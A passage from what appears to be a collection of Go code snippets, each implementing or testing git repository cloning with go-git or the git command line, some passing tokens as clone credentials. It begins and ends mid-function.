.shipped/Makefile ]] && rm .shipped/Makefile\n\n\t//{{range .Services}}\n\t// clone_git_repo {{.SshUrl}} {{escape .Name}}\n\t//{{end}}\n\tfor _, serv := range this.Services {\n\t\tvar name string\n\t\tif name = serv.Name; len(name) < 1 {\n\t\t\treturn fmt.Errorf(\"Models.Service.name is found empty.\")\n\t\t}\n\t\tvar sshUrl string\n\t\tif sshUrl = serv.SshUrl(); len(sshUrl) < 1 {\n\t\t\treturn fmt.Errorf(\"Models.Service.SshUrl is found empty.\")\n\t\t}\n\t\tif res, e := cloneGitRepo(sshUrl, path.Join(this.ProjectName, name)); e != nil {\n\t\t\tlog.Error(\"ServiceID '\" + serv.ServiceID + \"' Got error while git clone. Err: \" + e.Error())\n\n\t\t} else {\n\t\t\tlog.Info(\"ServiceID '\"+serv.ServiceID+\"' Got error while git clone. Err: \", res)\n\t\t}\n\n\t}\n\tlog.Info(\"Cloning Repositories End\")\n\treturn nil\n\n}", "func clone(p provision.Provisioner, app provision.App) ([]byte, error) {\n\tvar buf bytes.Buffer\n\tpath, err := repository.GetPath()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"tsuru is misconfigured: %s\", err)\n\t}\n\tcmd := fmt.Sprintf(\"git clone %s %s --depth 1\", repository.ReadOnlyURL(app.GetName()), path)\n\terr = p.ExecuteCommand(&buf, &buf, app, cmd)\n\tb := buf.Bytes()\n\tlog.Debugf(`\"git clone\" output: %s`, b)\n\treturn b, err\n}", "func cloneRepo(gitURL string, cloneChan chan<- error) {\n\t_, err := git.PlainClone(cloneDir, false, &git.CloneOptions{\n\t\tURL: gitURL,\n\t\tDepth: 1,\n\t\tSingleBranch: true,\n\t})\n\tcloneChan <- err\n}", "func (m Manager) Clone(url string, revision string, dir string) error {\n\tlog.Printf(\"Initializing repo %s into %s\\n\", url, dir)\n\trepo, err := vcs.NewRepo(url, dir)\n\tif err != nil {\n\t\treturn fmt.Errorf(errorContainer, repoInitFailed, url, revision, dir, err.Error())\n\t}\n\tlog.Printf(\"Cloning %s into %s\\n\", url, dir)\n\terr = repo.Get()\n\tif err != nil {\n\t\treturn fmt.Errorf(errorContainer, repoCloneFailed, url, revision, dir, err.Error())\n\t}\n\tif revision != \"\" {\n\t\tlog.Printf(\"Checking out revision %s for repo %s\\n\", revision, url)\n\t\terr = repo.UpdateVersion(revision)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(errorContainer, repoCheckoutFailed, url, revision, dir, err.Error())\n\t\t}\n\t} else {\n\t\tlog.Printf(\"Assuming default revision for repo %s\\n\", url)\n\t}\n\treturn nil\n}", "func cloneRepos() {\n\tsliceLength := len(gitHubProjects)\n\thomePath := getUserDir()\n\tpath := homePath + FRONTEND_APPS_BASE_DIR\n\tvar wg sync.WaitGroup\n\twg.Add(sliceLength)\n\tfor i := 0; i < sliceLength; i++ {\n\t\tgo func(i int) {\n\t\t\tdefer wg.Done()\n\t\t\tfmt.Println(\"Git Cloning \", gitHubProjects[i])\n\t\t\tcmd := exec.Command(\"git\", \"clone\", gitHubProjects[i])\n\t\t\tcmd.Dir = path\n\t\t\t_, err := cmd.Output()\n\t\t\tcheck(err)\n\t\t}(i)\n\t}\n\twg.Wait()\n}", "func rawClone(secrets configure.SecretsOutline, repo api.Repo, path string) {\n\terr := os.MkdirAll(path, 0777)\n\tif err != nil {\n\t\tstatuser.Error(\"Failed to create folder at \"+path, err, 1)\n\t}\n\n\tspin := spinner.New(utils.SpinnerCharSet, utils.SpinnerSpeed)\n\tspin.Suffix = fmt.Sprintf(\" Cloning %v/%v\", repo.Owner, repo.Name)\n\tspin.Start()\n\n\t_, err = git.PlainClone(path, false, &git.CloneOptions{\n\t\tURL: fmt.Sprintf(\"https://github.com/%v/%v.git\", repo.Owner, repo.Name),\n\t\tAuth: &http.BasicAuth{\n\t\t\tUsername: secrets.Username,\n\t\t\tPassword: secrets.PAT,\n\t\t},\n\t})\n\n\tspin.Stop()\n\tif err != nil {\n\t\tstatuser.Error(\"Failed to clone repo\", err, 1)\n\t}\n}", "func cloneWorker(repo, dirName, token string, wg *sync.WaitGroup, bar *progressbar.ProgressBar) {\n\t// fmt.Printf(\"[gobackup] cloning %s\\n\", repo)\n\n\t// Decrement the waitgroup count when we are finished cloning the repository and increment our progress bar\n\tdefer bar.Add(1)\n\tdefer wg.Done()\n\t// Get the name of the repo we are cloning\n\trepoName := path.Base(repo)\n\n\trepoName = strings.TrimSuffix(repoName, filepath.Ext(repoName))\n\t// Dirname which will be <github_username>/<repo_name>\n\tdirName = dirName + \"/\" + repoName\n\n\t// Setup auth if we have a token\n\tvar auth *http.BasicAuth\n\tif token != \"\" {\n\t\t// If we have a token\n\t\tauth = &http.BasicAuth{\n\t\t\tUsername: \"gobackup\",\n\t\t\tPassword: token,\n\t\t}\n\t} else {\n\t\t// If we have no token, we dont want to use any auth\n\t\tauth = nil\n\t}\n\t// Clone the repository\n\t_, err := git.PlainClone(dirName, false, &git.CloneOptions{\n\t\tAuth: auth,\n\t\tURL: repo,\n\t})\n\n\tcheckIfError(err)\n}", "func (g *gitVCS) Clone(r *config.Repo, dir string, attemptShallow bool) (<-chan Progress, error) {\n\tlog := logrus.WithFields(logrus.Fields{\n\t\t\"repo\": r.Repo,\n\t\t\"ref\": r.Ref,\n\t})\n\tlog.Debug(\"Cloning git repo\")\n\tdefer log.Debug(\"Cloned git repo\")\n\tif err := prepareDir(dir); err != nil {\n\t\treturn nil, err\n\t}\n\tout := make(chan Progress)\n\tgo func() {\n\t\tdefer close(out)\n\t\tif attemptShallow {\n\t\t\tfor p := range g.run(r.Repo, \".\", true, true, \"clone\", \"--depth\", \"1\", \"-b\", r.Ref, r.Repo, dir) {\n\t\t\t\tout <- p\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tfor p := range g.run(r.Repo, \".\", true, true, \"clone\", r.Repo, dir) {\n\t\t\tout <- p\n\t\t}\n\t\tfor p := range g.run(r.Repo, dir, true, true, \"fetch\", \"--all\") {\n\t\t\tout <- p\n\t\t}\n\t\tg.run(r.Repo, dir, false, false, \"branch\", \"--track\", \"develop\", \"origin/develop\")\n\t\tg.run(r.Repo, dir, false, false, \"branch\", \"--track\", \"master\", \"origin/master\")\n\t\tg.run(r.Repo, dir, false, false, \"flow\", \"init\", \"-d\")\n\t}()\n\treturn out, nil\n}", "func (c *ServiceCreate) clone(destination string) error {\n\t_, err := git.PlainClone(destination, false, &git.CloneOptions{\n\t\tURL: \"https://github.com/RobyFerro/go-web.git\",\n\t\tProgress: nil,\n\t})\n\n\treturn err\n}", "func (am *AutogitManager) Clone(\n\tctx context.Context, srcTLF *libkbfs.TlfHandle, srcRepo, branchName string,\n\tdstTLF *libkbfs.TlfHandle, dstDir string) (\n\tdoneCh <-chan struct{}, err error) {\n\tam.log.CDebugf(ctx, \"Autogit clone request from %s/%s:%s to %s/%s\",\n\t\tsrcTLF.GetCanonicalPath(), srcRepo, branchName,\n\t\tdstTLF.GetCanonicalPath(), dstDir)\n\tdefer func() {\n\t\tam.deferLog.CDebugf(ctx, \"Clone request processed: %+v\", err)\n\t}()\n\n\tdstFS, err := libfs.NewFS(\n\t\tctx, am.config, dstTLF, dstDir, \"\", keybase1.MDPriorityNormal)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Take dst lock and create \"CLONING\" file if needed.\n\tlockFile, err := dstFS.Create(autogitLockName(srcRepo))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\tcloseErr := lockFile.Close()\n\t\tif err == nil {\n\t\t\terr = closeErr\n\t\t}\n\t}()\n\terr = lockFile.Lock()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = dstFS.MkdirAll(srcRepo, 0600)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdstRepoFS, err := dstFS.Chroot(srcRepo)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfis, err := dstRepoFS.ReadDir(\"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(fis) == 0 {\n\t\terr = am.makeCloningFile(ctx, dstRepoFS, srcTLF, srcRepo, branchName)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t// Sync the CLONING file before starting the reset.\n\t\terr = lockFile.Unlock()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treq := resetReq{\n\t\tsrcTLF, srcRepo, branchName, dstTLF, dstDir, make(chan struct{}),\n\t}\n\treturn am.queueReset(ctx, req)\n}", "func (service *Service) CloneRepository(destination, repositoryURL, referenceName, username, password string, tlsSkipVerify bool) error {\n\toptions := cloneOption{\n\t\tfetchOption: fetchOption{\n\t\t\tbaseOption: baseOption{\n\t\t\t\trepositoryUrl: repositoryURL,\n\t\t\t\tusername: username,\n\t\t\t\tpassword: password,\n\t\t\t\ttlsSkipVerify: tlsSkipVerify,\n\t\t\t},\n\t\t\treferenceName: referenceName,\n\t\t},\n\t\tdepth: 1,\n\t}\n\n\treturn service.cloneRepository(destination, options)\n}", "func cloneRepo(r Repository) (string, removeDir, error) {\n\tdir, err := ioutil.TempDir(\"\", \"clone\")\n\tif err != nil {\n\t\treturn \"\", nil, err\n\t}\n\tremoveDir := func() {\n\t\tfunc(path string) {\n\t\t\terr := os.RemoveAll(path)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"unable to remove dir: \", err)\n\t\t\t}\n\t\t}(dir)\n\t}\n\n\tcloneCmd := exec.Command(\"git\", \"clone\", r.Url, dir)\n\tlog.Println(\"running command: \" + strings.Join(cloneCmd.Args, \" \"))\n\tif err := cloneCmd.Run(); err != nil {\n\t\tremoveDir()\n\t\tlog.Fatal(\"unable to git clone \"+r.Name, err)\n\t}\n\n\treturn dir, removeDir, nil\n}", "func cloneRepository(defaultBaseDir, url string) (string, error) {\n\tif err := os.RemoveAll(defaultBaseDir); err != nil {\n\t\treturn \"\", fmt.Errorf(\"error cloning the repository. error removing previous directory: %q\", err)\n\t}\n\n\tlog.Printf(\"Cloning the repository [%s] into [%s]\\n\\n\", url, defaultBaseDir)\n\tr, err := git.PlainClone(defaultBaseDir, false, &git.CloneOptions{\n\t\tURL: url,\n\t\tProgress: os.Stdout,\n\t})\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error cloning the repository: %q\", err)\n\t}\n\n\tref, err := r.Head()\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error cloning the repository. error getting the HEAD reference of the repository: %q\", err)\n\t}\n\n\tcommit, err := r.CommitObject(ref.Hash())\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error cloning the repository. error getting the lattest commit of the repository: %q\", err)\n\t}\n\treturn commit.Hash.String(), nil\n}", "func (g Git) Clone(path, url string, opt *CloneOptions) (*Repository, error) {\n\tif err := os.MkdirAll(path, 0777); err != nil {\n\t\treturn nil, err\n\t}\n\tif opt == nil {\n\t\topt = &CloneOptions{}\n\t}\n\turl, err := opt.Credentials.addToURL(url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tr := &Repository{g, path}\n\targs := []string{\"clone\", url, \".\"}\n\tif opt.Branch != \"\" {\n\t\targs = append(args, \"--branch\", opt.Branch)\n\t}\n\tif _, err := r.run(nil, opt.Timeout, args...); err != nil {\n\t\treturn nil, err\n\t}\n\treturn r, nil\n}", "func (b *Bzr) Clone(d *Dependency) (err error) {\n\tif !util.Exists(d.Path()) {\n\t\terr = util.RunCommand(\"go get -u \" + d.Repo)\n\t}\n\treturn\n}", "func TestCloneRepo(t *testing.T) {\n\tdefer removeTempRepos()\n\trs := NewRepoService(testConf, gklog.NewNopLogger(), &statsd.Client{})\n\tif err := rs.CloneRepo(\"/tmp\", \"github.com/briandowns/smile\"); err != nil {\n\t\tt.Error(err)\n\t}\n}", "func (r *Repository) CloneRepository(e *Enclave) (err error) {\n\t// Clone the repository containing the submission files\n\tr.repo, err = git.PlainClone(e.Cwd, false, &git.CloneOptions{\n\t\tURL: r.URL,\n\t})\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tr.workTree, err = r.repo.Worktree()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func Clone(gitURL string, targetPath string) (err error) {\n\tcloneCmd := fmt.Sprintf(\"git clone %s\", gitURL)\n\tcmd := exec.Command(cloneCmd)\n\terr = cmd.Start()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn\n}", "func gitClone(repo, dir string) error {\n\tlog.Printf(\"cloning %s\\n\", repo)\n\n\t_, err := git.PlainClone(dir, false, &git.CloneOptions{\n\t\tURL: repo,\n\t\tProgress: os.Stdout,\n\t})\n\treturn err\n}", "func (repo *TestRepo) Clone(t *testing.T, pattern string) *TestRepo {\n\tt.Helper()\n\n\tpath, err := ioutil.TempDir(\"\", pattern)\n\trequire.NoError(t, err)\n\n\terr = repo.GitCommand(\n\t\tt, \"clone\", \"--bare\", \"--mirror\", repo.Path, path,\n\t).Run()\n\trequire.NoError(t, err)\n\n\treturn &TestRepo{\n\t\tPath: path,\n\t}\n}", "func cloneBareRepository(remote string, dest string) error {\n\tcmd := exec.Command(\"git\", \"clone\", \"--bare\", remote, dest)\n\terr := cmd.Run()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (r *Repository) Clone(o *CloneOptions) error {\n\tempty, err := r.IsEmpty()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !empty {\n\t\treturn ErrRepositoryNonEmpty\n\t}\n\n\tif err := o.Validate(); err != nil {\n\t\treturn err\n\t}\n\n\tc := &config.RemoteConfig{\n\t\tName: o.RemoteName,\n\t\tURL: o.URL,\n\t}\n\n\tremote, err := r.CreateRemote(c)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err = remote.Connect(); err != nil {\n\t\treturn err\n\t}\n\n\tdefer remote.Disconnect()\n\n\tif err := r.updateRemoteConfig(remote, o, c); err != nil {\n\t\treturn err\n\t}\n\n\tif err = remote.Fetch(&FetchOptions{Depth: o.Depth}); err != nil {\n\t\treturn err\n\t}\n\n\thead, err := remote.Ref(o.ReferenceName, true)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn r.createReferences(head)\n}", "func gitClone(repo string) *git.Repository {\n\tr, err := git.Clone(memory.NewStorage(), nil, &git.CloneOptions{\n\t\tURL: repo,\n\t\tDepth: 1,\n\t})\n\tif err != nil {\n\t\tlog.Fatal(\"git clone \", repo, \": Error: \", err)\n\t}\n\tlog.Print(\"git clone \", repo)\n\treturn r\n}", "func cloneAndGet(gcl *ginclient.Client, tmpdir, commit, repopath string, checkoutCommit bool) error {\n\t// make sure the push event had time to process on gin web\n\t// after the webhook has triggered before starting to clone and fetch the content.\n\ttime.Sleep(5 * time.Second)\n\n\tclonechan := make(chan git.RepoFileStatus)\n\tgo remoteCloneRepo(gcl, repopath, tmpdir, clonechan)\n\tfor stat := range clonechan {\n\t\tif stat.Err != nil && stat.Err.Error() != \"Error initialising local directory\" {\n\t\t\treturn fmt.Errorf(\"[Error] Failed to clone %q: %s\", repopath, stat.Err.Error())\n\t\t}\n\t\tlog.ShowWrite(\"[Info] %s %s\", stat.State, stat.Progress)\n\t}\n\tlog.ShowWrite(\"[Info] %q clone complete\", repopath)\n\n\t// The repo has been cloned, now provide the full path to the root of the directory\n\trepoPathParts := strings.SplitN(repopath, \"/\", 2)\n\trepoName := repoPathParts[1]\n\trepoDir := filepath.Join(tmpdir, repoName)\n\tremoteGitDir, err := filepath.Abs(repoDir)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"[Error] getting absolute path for %q: %s\", repoDir, err.Error())\n\t}\n\n\tif checkoutCommit {\n\t\t// checkout specific commit\n\t\terr := remoteCommitCheckout(remoteGitDir, commit)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"[Error] failed to checkout commit %q: %s\", commit, err.Error())\n\t\t}\n\t}\n\tlog.ShowWrite(\"[Info] downloading content\")\n\tgetcontentchan := make(chan git.RepoFileStatus)\n\t// TODO: Get only the content for the files that will be validated\n\t// do not format annex output as json\n\trawMode := false\n\tgo remoteGetContent(remoteGitDir, getcontentchan, rawMode)\n\tfor stat := range getcontentchan {\n\t\tif stat.Err != nil {\n\t\t\treturn fmt.Errorf(\"[Error] failed to get content for %q: %s\", repopath, stat.Err.Error())\n\t\t}\n\t\tlog.ShowWrite(\"[Info] %s %s %s\", stat.State, stat.FileName, stat.Progress)\n\t}\n\tlog.ShowWrite(\"[Info] get-content complete\")\n\treturn nil\n}", "func (g *GitDriver) Clone(co *git.CloneOptions) error {\n\tr, err := git.Clone(g.Storer, g.Filesystem, co)\n\tif err != nil {\n\t\treturn err\n\t}\n\tg.Repository = r\n\treturn nil\n}", "func Clone(path string, url string) bool {\n\tif url == \"\" {\n\t\treturn false\n\t}\n\n\tcmd := command(\"git\", \"clone\", url)\n\tcmd.Dir = path\n\tStdoutPipe, err := cmd.StderrPipe()\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tbreakFlag := false\n\tfinish := make(chan bool)\n\tgo func() {\n\t\tgo func() {\n\t\t\tfor {\n\t\t\t\tif breakFlag {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\toutput := make([]byte, 128, 128) //nolint:gosimple\n\t\t\t\t_, _ = StdoutPipe.Read(output)\n\t\t\t\tif string(output) == \"fatal: destination path 'rpc' already exists and is not an empty directory.\" ||\n\t\t\t\t\tstring(output) == \"exit status 128\" {\n\t\t\t\t\tfinish <- false\n\t\t\t\t}\n\t\t\t\ttime.Sleep(50 * time.Microsecond)\n\t\t\t}\n\t\t}()\n\n\t\terr = cmd.Run()\n\t\tif err != nil {\n\t\t\tbreakFlag = true\n\t\t\tfinish <- false\n\t\t}\n\n\t\t_ = cmd.Wait()\n\t\tfinish <- true\n\t}()\n\n\tresult := <-finish\n\tbreakFlag = true\n\treturn result\n}", "func cloneRepos(repos chan string, bar *progressbar.ProgressBar, dirName, token string, wg *sync.WaitGroup) {\n\t// Create username dir to put all cloned repos in.\n\terr := os.MkdirAll(dirName, os.ModePerm)\n\tcheckIfError(err)\n\n\t// Clone each repo in the channel\n\tfor repo := range repos {\n\t\tgo cloneWorker(repo, dirName, token, wg, bar)\n\t}\n}", "func (s *GitRepoSyncer) CloneCommand(ctx context.Context, remoteURL *vcs.URL, tmpPath string) (cmd *exec.Cmd, err error) {\n\tif err := os.MkdirAll(tmpPath, os.ModePerm); err != nil {\n\t\treturn nil, errors.Wrapf(err, \"clone failed to create tmp dir\")\n\t}\n\n\tcmd = exec.CommandContext(ctx, \"git\", \"init\", \"--bare\", \".\")\n\tcmd.Dir = tmpPath\n\tif err := cmd.Run(); err != nil {\n\t\treturn nil, errors.Wrapf(err, \"clone setup failed\")\n\t}\n\n\tcmd, _ = s.fetchCommand(ctx, remoteURL)\n\tcmd.Dir = tmpPath\n\treturn cmd, nil\n}", "func Clone(cnf *Config, auth Auth, outDir string) (*git.Repository, error) {\n\tcloneOptions := &git.CloneOptions{\n\t\tAuth: auth.Method(),\n\t\tURL: cnf.URL,\n\t\tProgress: os.Stdout,\n\t}\n\n\tif cnf.CloneBranch != \"\" {\n\t\tcloneOptions.ReferenceName = plumbing.NewBranchReferenceName(cnf.CloneBranch)\n\t\tfmt.Printf(\"Cloning %s branch\\n\", cnf.CloneBranch)\n\t}\n\n\trepo, err := git.PlainClone(outDir, false, cloneOptions)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcfg, err := repo.Config()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcfg.User.Name = cnf.Username\n\tcfg.User.Email = cnf.Email\n\trepo.SetConfig(cfg)\n\treturn repo, err\n}", "func (p project) gitClone() error {\n\tif p.SkipClone {\n\t\treturn nil\n\t}\n\tcmd := fmt.Sprintf(\"git clone -b %s %s %s\", p.Branch, p.Repo, localRepos+p.Name)\n\treturn doExec(cmd, \"\")\n}", "func (i *interactor) MirrorClone() error {\n\ti.logger.Infof(\"Creating a mirror of the repo at %s\", i.dir)\n\tremote, err := i.remote()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not resolve remote for cloning: %w\", err)\n\t}\n\tif out, err := i.executor.Run(\"clone\", \"--mirror\", remote, i.dir); err != nil {\n\t\treturn fmt.Errorf(\"error creating a mirror clone: %w %v\", err, string(out))\n\t}\n\treturn nil\n}", "func Clone() *git.Repository {\n\t// backup existing dir and move out of the way.\n\tmove := fmt.Sprintf(\"mv %s %s.old\", localGitRepo, localGitRepo)\n\tRunCommand(move)\n\tr, err := git.PlainClone(localGitRepo, false, &git.CloneOptions{\n\t\tURL: \"https://github.com/getpimp/pimpminers-conf.git\",\n\t\tProgress: os.Stdout,\n\t})\n\tcheckErr(err)\n\treturn r\n}", "func handleRepo(config *Config, sshURL string) {\n\tlog.Println(\"Repo clone\", sshURL)\n\n\ttempCloneName := getTempRepoName(sshURL)\n\n\tsyscall.Chdir(config.TempDir)\n\tos.RemoveAll(\"./\" + tempCloneName)\n\tdefer func() {\n\t\tsyscall.Chdir(config.TempDir)\n\t\tos.RemoveAll(\"./\" + tempCloneName)\n\t}()\n\n\t_, err_clone := exec.Command(config.GitCMD, \"clone\", \"--branch\", config.Branch, sshURL, tempCloneName).Output()\n\tif err_clone != nil {\n\t\tlog.Println(\"Repo cannot be cloned\", sshURL, err_clone)\n\t\treturn\n\t}\n\n\tout_grep, err_grep := execCmdWithOutput(config.GrepCMD, \"-rl\", \"--exclude-dir\", \".git\", config.ReplaceFrom, tempCloneName)\n\tif err_grep != nil {\n\t\tlog.Panic(err_grep)\n\t\treturn\n\t}\n\n\tout_grep_trimmed := strings.Trim(out_grep, \"\\n\\r\\t \")\n\tif out_grep_trimmed == \"\" {\n\t\tlog.Println(\"No match\")\n\t\treturn\n\t}\n\n\tfiles := strings.Split(out_grep_trimmed, \"\\n\")\n\tfor _, fileName := range files {\n\t\thandleFile(config, fileName)\n\t}\n\n\t// Make git operations safe - they have to be called from the directory\n\tmutexInRepoOp.Lock()\n\tsyscall.Chdir(\"./\" + tempCloneName)\n\tdiff, err_diff := execCmdWithOutput(config.GitCMD, \"diff\")\n\tif err_diff != nil {\n\t\tlog.Panic(err_diff)\n\t\treturn\n\t}\n\tlog.Println(diff)\n\n\tif flagCommit {\n\t\tlog.Println(\"Committing changes\")\n\t\t_, err_commit := execCmdWithOutput(config.GitCMD, \"commit\", \"-a\", \"-m\", config.CommitMessage)\n\t\tif err_commit != nil {\n\t\t\tlog.Panic(err_commit)\n\t\t\treturn\n\t\t}\n\n\t\tlog.Println(\"Push to remote\")\n\t\t_, err_push := execCmdWithOutput(config.GitCMD, \"push\", \"origin\", config.Branch)\n\t\tif err_push != nil {\n\t\t\tlog.Panic(err_push)\n\t\t\treturn\n\t\t}\n\t\tlog.Println(\"Commit and push succeed\")\n\t}\n\n\tsyscall.Chdir(config.TempDir)\n\tmutexInRepoOp.Unlock()\n}", "func (r *Repo) Clone(path, rev string) (*Repo, error) {\n\tr.Lock()\n\tdefer r.Unlock()\n\n\terr := timeout(*cmdTimeout, func() error {\n\t\tdownloadPath := r.Path\n\t\tif !r.Exists() {\n\t\t\tdownloadPath = r.Master.Repo\n\t\t}\n\n\t\terr := r.Master.VCS.CreateAtRev(path, downloadPath, rev)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn r.Master.VCS.TagSync(path, \"\")\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Repo{\n\t\tPath: path,\n\t\tMaster: r.Master,\n\t}, nil\n}", "func Clone(url, dir, githubToken string) error {\n\t_, err := git.PlainClone(dir, false, &git.CloneOptions{\n\t\tURL: url,\n\t\tAuth: &http.BasicAuth{\n\t\t\tUsername: \"dummy\", // anything except an empty string\n\t\t\tPassword: githubToken,\n\t\t},\n\t\tSingleBranch: true,\n\t})\n\treturn err\n}", "func (g *GitLocal) Clone(url string, dir string) error {\n\treturn g.GitFake.Clone(url, dir)\n}", "func (s *Action) Clone(ctx context.Context, c *cli.Context) error {\n\tif len(c.Args()) < 1 {\n\t\treturn errors.Errorf(\"Usage: %s clone repo [mount]\", s.Name)\n\t}\n\n\trepo := c.Args()[0]\n\tmount := \"\"\n\tif len(c.Args()) > 1 {\n\t\tmount = c.Args()[1]\n\t}\n\n\tpath := c.String(\"path\")\n\n\treturn s.clone(ctx, repo, mount, path)\n}", "func Clone(source, target string, args ...string) (res *Repo, err error) {\n\tcmd, _, stderr := Git(\"clone\", append(args, source, target)...)\n\tif err = cmd.Run(); err != nil {\n\t\treturn nil, errors.New(stderr.String())\n\t}\n\tres, err = Open(target)\n\treturn\n}", "func Clone(url string) {\n\thg(\"clone %s\", url)\n}", "func cloneLocalRepository(config *GitXargsConfig, repo *github.Repository) (string, *git.Repository, error) {\n\tlogger := logging.GetLogger(\"git-xargs\")\n\n\tlogger.WithFields(logrus.Fields{\n\t\t\"Repo\": repo.GetName(),\n\t}).Debug(\"Attempting to clone repository using GITHUB_OAUTH_TOKEN\")\n\n\trepositoryDir, tmpDirErr := ioutil.TempDir(\"\", fmt.Sprintf(\"git-xargs-%s\", repo.GetName()))\n\tif tmpDirErr != nil {\n\t\tlogger.WithFields(logrus.Fields{\n\t\t\t\"Error\": tmpDirErr,\n\t\t\t\"Repo\": repo.GetName(),\n\t\t}).Debug(\"Failed to create temporary directory to hold repo\")\n\t\treturn repositoryDir, nil, errors.WithStackTrace(tmpDirErr)\n\t}\n\n\tlocalRepository, err := config.GitClient.PlainClone(repositoryDir, false, &git.CloneOptions{\n\t\tURL: repo.GetCloneURL(),\n\t\tProgress: os.Stdout,\n\t\tAuth: &http.BasicAuth{\n\t\t\tUsername: repo.GetOwner().GetLogin(),\n\t\t\tPassword: os.Getenv(\"GITHUB_OAUTH_TOKEN\"),\n\t\t},\n\t})\n\n\tif err != nil {\n\t\tlogger.WithFields(logrus.Fields{\n\t\t\t\"Error\": err,\n\t\t\t\"Repo\": repo.GetName(),\n\t\t}).Debug(\"Error cloning repository\")\n\n\t\t// Track failure to clone for our final run report\n\t\tconfig.Stats.TrackSingle(RepoFailedToClone, repo)\n\n\t\treturn repositoryDir, nil, errors.WithStackTrace(err)\n\t}\n\n\tconfig.Stats.TrackSingle(RepoSuccessfullyCloned, repo)\n\n\treturn repositoryDir, localRepository, nil\n}", "func cloneIgnoreFilesIfNotExist() {\n\tif exists(ignoreFileDir) {\n\t\treturn\n\t}\n\n\tfmt.Println(\"Cloning gitginore files. This may take a while...\")\n\n\tif err := os.Mkdir(workDir, 0777); err != nil {\n\t\tif !os.IsExist(err) {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t}\n\n\tcmd := exec.Command(\"git\", \"clone\", \"[email protected]:github/gitignore.git\", ignoreFileDir)\n\tif err := cmd.Run(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tfmt.Println(\"Done.\")\n}", "func shallowClone(dir, repo, commitish string) error {\n\tif err := os.Mkdir(dir, 0750); err != nil {\n\t\treturn fmt.Errorf(\"creating dir for %s: %v\", repo, err)\n\t}\n\n\t// Set a timeout for git fetch. If this proves flaky, it can be removed.\n\tctx, cancel := context.WithTimeout(context.Background(), 1*time.Minute)\n\tdefer cancel()\n\n\t// Use a shallow fetch to download just the relevant commit.\n\tshInit := fmt.Sprintf(\"git init && git fetch --depth=1 %q %q && git checkout FETCH_HEAD\", repo, commitish)\n\tinitCmd := exec.CommandContext(ctx, \"/bin/sh\", \"-c\", shInit)\n\tinitCmd.Dir = dir\n\tif output, err := initCmd.CombinedOutput(); err != nil {\n\t\treturn fmt.Errorf(\"checking out %s: %v\\n%s\", repo, err, output)\n\t}\n\treturn nil\n}", "func (g *GHRepo) Clone(dest string) error {\n fullPath := filepath.Join(dest, fmt.Sprintf(\"%s-%s\", g.owner, g.project))\n // provide the path - passing clone options\n repo, err := git.PlainClone(fullPath, false, &git.CloneOptions{\n URL: g.RepositoryURL(),\n })\n if err != nil {\n return err\n }\n g.repo = repo\n g.RepoDir = fullPath\n return nil\n}", "func (g *GithubAppWorkingDir) Clone(headRepo models.Repo, p models.PullRequest, workspace string) (string, bool, error) {\n\tbaseRepo := &p.BaseRepo\n\n\t// Realistically, this is a super brittle way of supporting clones using gh app installation tokens\n\t// This URL should be built during Repo creation and the struct should be immutable going forward.\n\t// Doing this requires a larger refactor however, and can probably be coupled with supporting > 1 installation\n\n\t// This removes the credential part from the url and leaves us with the raw http url\n\t// git will then pick up credentials from the credential store which is set in vcs.WriteGitCreds.\n\t// Git credentials will then be rotated by vcs.GitCredsTokenRotator\n\treplacement := \"://\"\n\tbaseRepo.CloneURL = strings.Replace(baseRepo.CloneURL, \"://:@\", replacement, 1)\n\tbaseRepo.SanitizedCloneURL = strings.Replace(baseRepo.SanitizedCloneURL, redactedReplacement, replacement, 1)\n\theadRepo.CloneURL = strings.Replace(headRepo.CloneURL, \"://:@\", replacement, 1)\n\theadRepo.SanitizedCloneURL = strings.Replace(baseRepo.SanitizedCloneURL, redactedReplacement, replacement, 1)\n\n\treturn g.WorkingDir.Clone(headRepo, p, workspace)\n}", "func TestCloneRepo_Failure(t *testing.T) {\n\tdefer removeTempRepos()\n\trs := NewRepoService(testConf, gklog.NewNopLogger(), &statsd.Client{})\n\tif err := rs.CloneRepo(\"/tmp\", \"github.com/briandown/smile\"); err == nil {\n\t\tt.Error(\"expected error but received none\")\n\t}\n}", "func (cc *CloneCommand) Run(ctx ProfileContext) error {\n\t// determine destination dir\n\tdestinationDir, err := ctx.Dir(cc.ProfileName)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"CloneCommand_Run_ProfileContext_Dir: %w\", err)\n\t}\n\t// resolve destination dir\n\ttargetDirectory, err := 